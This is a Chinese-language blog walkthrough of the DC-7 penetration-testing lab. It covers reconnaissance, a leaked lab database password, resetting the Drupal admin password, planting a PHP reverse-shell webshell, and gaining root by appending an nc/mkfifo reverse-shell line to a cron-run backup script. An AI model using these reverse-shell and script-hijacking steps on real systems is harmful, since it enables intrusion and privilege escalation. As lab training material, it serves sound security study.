DC-7靶场练习记录
PS1:欢迎来到我的博客:https://littlewith.github.io/
PS2:欢迎来到我的主页:https://littlewith.top/
博客文章会同步更新。
注:本文章仅作交流学习使用,请勿用于非法用途,否则后果自负!!!
0x00环境准备
DC-7靶场信息:
Description
DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
While this isn’t an overly technical challenge, it isn’t exactly easy.
While it’s kind of a logical progression from an earlier DC release (I won’t tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won’t succeed.
What you will need to do, is to think “outside” of the box.
Waaaaaay “outside” of the box. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.攻击机:Kali Linux 2022.1
靶机:DC 7
为了模拟真实公网环境,需要确保靶机和攻击机均使用NAT模式,并且和主机安装在同一个网段下,模拟环境采用vmware虚拟机进行搭建,而且两者能进行相互通信。
0x01信息搜集
目前已知的黑客主机的ip为192.168.23.131,此时我们并不知道靶机的具体网址,我们可以使用fscan工具来对靶机进行扫描。
我们先去Github上面下载fscan工具,然后重命名为fscan,接着使用-h [网段] 的方式进行自动扫描。
./fscan -h 192.168.23.0/24
此时排除本机ip,结合title:”Welcome to DC-7”即可发现靶机的地址192.168.23.129,同时我们还可以发现主机开放了80端口和22端口,意味着运行了web服务,我们接下来访问靶机的ip,发现了web主页:
根据主页的提示,它提示我们”out side the box !”,并告诉我们不能强力爆破出密码。通过插件”Wapplyazer”,我们可以得到的信息是:这个网站的操作系统是Debian,使用的是Apache服务器,并且采用了php语言编写的后端,最重要的是识别到了使用的CMS为Drupal 8,同时我们还发现了该网站作者名字叫@DC7USER
那么按照惯例,接下来就该扫描网站的目录了,我们使用dirsearch工具进行目录扫描,使用的命令为:
dirsearch -u http://192.168.23.129
显然扫描出了很多的结果,经过分析后,提取出了一些有用的结果:
首先是包含的信息文件:
- robots.txt==>包含了一些网站的路由
- web.config==>包含了一些网站登录信息
- README.txt==>网站CMD建立时候的自述文件
- INSTALL.txt==>网站CMS安装指南
- 各种数据文件.sql(1.sql、2.sql等)
在robots.txt、dirsearch中间还扫描出了一些可能有作用的路由:
- /user/login
- /user/register
- /comment/reply
- /search
- /core
通过web.config目录,我们发现了网站对于这些请求的rewrite过滤规则。
该规则显示,本网站过滤了一堆相关的字符串,统一返回403forbidden,经过验证发现,上方出现的路由几乎都被拦截了。
总的来说,到此为止收集到的信息有以下几点:
- 所有的.sql文件均无法进行读取,统一返回了403错误码
- 存在登录页面/user/login,但是我们无法获得用户名和密码,并且注册需要管理员权限,直接访问会显示无法注册
- 重置密码使用的是邮箱验证码,也无法进行SQL注入修改密码等
- 在web.config、robots.txt、README.txt和INSTALL.txt文件中我们可以更加确定使用的CMS是Drupal 8
- 网站作者名字叫@DC7USER
我们从网络上搜索这个作者,发现了他的Github主页:
这里有个项目,经过查找发现了网站的配置信息找到config.php,似乎还发现了密码:
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
联系到之前的开放端口22,想到ssh登录,下面将尝试登录主机。
0x02开始渗透
尝试ssh进行登录,OK,成功拿到了shell。
常规思路,接下来尝试sudo提权,发现该用户关闭了sudo权限,提示无法找到sudo,尝试find提权依然失败。
那么接下来尝试使用matasploit对靶机进行提权。(事实证明msf框架提权失败)
继续尝试,在home目录发现了一个backups目录,里面含有gpg加密的文件,应该是个备份文件,旁边还存着加密的日志mbox。我们查看一下日志文件,发现加密的脚本文件是存在一个指定的目录/opt/scripts/backups.sh下的:
随后我们找到并且查看这个脚本文件,发现了脚本文件的内容。
其中,文件显示作者使用了gpg对文件进行了加密,并且使用drush命令对网站进行了配置,drush命令是drupal框架的一个命令,可以更改网站的密码。该脚本是自动执行的,每隔十五分钟就运行一次。dc7user无法改变密码,但是这个脚本却可以!说明这个脚本肯定不是普通用户权限!查看了之后,发现它所属组是www-data,也就是网页的用户。那么我们可能需要去网页进行提权了。
我们使用刚刚发现的drash把密码改了。
cd /var/www/html
drush user-password admin --password="haha123"
成功更改了密码!接着返回到网页进行登录尝试,成功进入了后台!
接着找找看有无文件上传点、php注马等的东西,找到了一个位点可以写原生的页面的地方,但是似乎写入的php代码,不起作用,直接原文显示了:
后来我查阅了相关资料,发现Drupal 8 为了安全,需要安装相关的php拓展才能运行php文件,那么我们就去extension选项中安装相应的php拓展就行:
打开这个网址下载php的拓展,一定得是.tar.gz格式的,然后直接进行本地安装,发现安装成功!
回到extend页面,往下拉,找到php filter并且勾选启用拓展,那么此时我们再次刷新,发现php代码已经可以被解析了!此时回到原来的编辑器,把Text format改为PHP Code,然后保存刷新,成功执行,代码消失了。
我打开我的中国蚁剑,看看能不能连上,发现不行,网页提示出错,也不像php的报错,应该是被网站的CMS给拦截了,不给执行。提示的信息如下:”The website encountered an unexpected error. Please try again later.”。
那么既然不给使用一句话木马,那么就直接把php写成木马,尝试在网页中写入反弹shell的木马,使用nc进行监听。
在terminal中输入:
nc -lvp 2333
然后,webshell反弹成功!
接下来的思路即为提权。通过上面的分析我们发现,root用户会定期执行backups.sh脚本,而此时用户www-data存在着写权限,那么即可尝试将反弹shell的脚本写入backups.sh脚本,那么等待反弹即可获得root权限,由计划任务可知,这个脚本每过15分钟即执行一次。
写入反弹shell脚本:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.0.9 7777 >/tmp/f" >> /opt/scripts/backups.sh
反弹成功!!!!
最后以root的身份执行权限,到root目录下,即可拿到thekey.txt,查看即可拿到最终的答案,渗透测试结束!拿下!
注:在渗透过程中我还尝试了使用msf框架进行攻击,但是最后一无所获,个人建议还是提升自己的实力比较好,少用大量的脚本框架!